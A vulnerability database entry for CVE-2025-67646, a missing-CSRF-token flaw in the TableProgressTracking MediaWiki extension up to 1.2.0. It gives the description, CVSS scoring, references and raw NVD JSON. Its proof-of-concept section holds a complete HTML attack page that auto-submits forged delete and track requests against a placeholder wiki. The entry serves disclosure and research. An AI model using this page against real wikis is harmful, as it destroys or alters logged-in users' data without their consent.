Security Vulnerability Report
中文
CVE-2025-67646 CVSS 3.5 LOW

CVE-2025-67646

Published: 2025-12-11 00:16:23
Last Modified: 2026-04-15 00:35:42

Description

TableProgressTracking is a MediaWiki extension to track progress against specific criterion. Versions 1.2.0 and below do not enforce CSRF token validation in the REST API. As a result, an attacker could craft a malicious webpage that, when visited by an authenticated user on a wiki with the extension enabled, would trigger unintended authenticated actions through the victim's browser. Due to the lack of token validation, an attacker can delete or track progress against tables. This issue is patched in version 1.2.1 of the extension.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

TableProgressTracking <= 1.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-67646: TableProgressTracking < 1.2.1 --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC</title> </head> <body> <h1>CSRF PoC - TableProgressTracking</h1> <p>This PoC demonstrates the CSRF vulnerability in TableProgressTracking extension.</p> <!-- Attack 1: Delete table --> <h2>Attack 1: Delete Table</h2> <form id="deleteForm" action="https://target-wiki.com/api/rest.php/tableprogresstracking/delete" method="POST" target="_blank"> <input type="hidden" name="table_id" value="VICTIM_TABLE_ID"> </form> <!-- Attack 2: Track progress --> <h2>Attack 2: Track Progress</h2> <form id="trackForm" action="https://target-wiki.com/api/rest.php/tableprogresstracking/track" method="POST" target="_blank"> <input type="hidden" name="table_id" value="VICTIM_TABLE_ID"> <input type="hidden" name="criterion_id" value="VICTIM_CRITERION_ID"> <input type="hidden" name="status" value="completed"> </form> <script> // Auto-submit both forms document.getElementById('deleteForm').submit(); setTimeout(() => document.getElementById('trackForm').submit(), 1000); </script> <p><em>Note: Replace 'target-wiki.com' with the actual wiki domain and table IDs with valid targets.</em></p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67646", "sourceIdentifier": "[email protected]", "published": "2025-12-11T00:16:23.393", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "TableProgressTracking is a MediaWiki extension to track progress against specific criterion. Versions 1.2.0 and below do not enforce CSRF token validation in the REST API. As a result, an attacker could craft a malicious webpage that, when visited by an authenticated user on a wiki with the extension enabled, would trigger unintended authenticated actions through the victim's browser. Due to the lack of token validation, an attacker can delete or track progress against tables. This issue is patched in version 1.2.1 of the extension."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://github.com/Telepedia/TableProgressTracking/commit/e2aa8c4b3bb78989c6fe39070a95a26d22b91c94", "source": "[email protected]"}, {"url": "https://github.com/Telepedia/TableProgressTracking/security/advisories/GHSA-j24f-hw6w-cq78", "source": "[email protected]"}]}}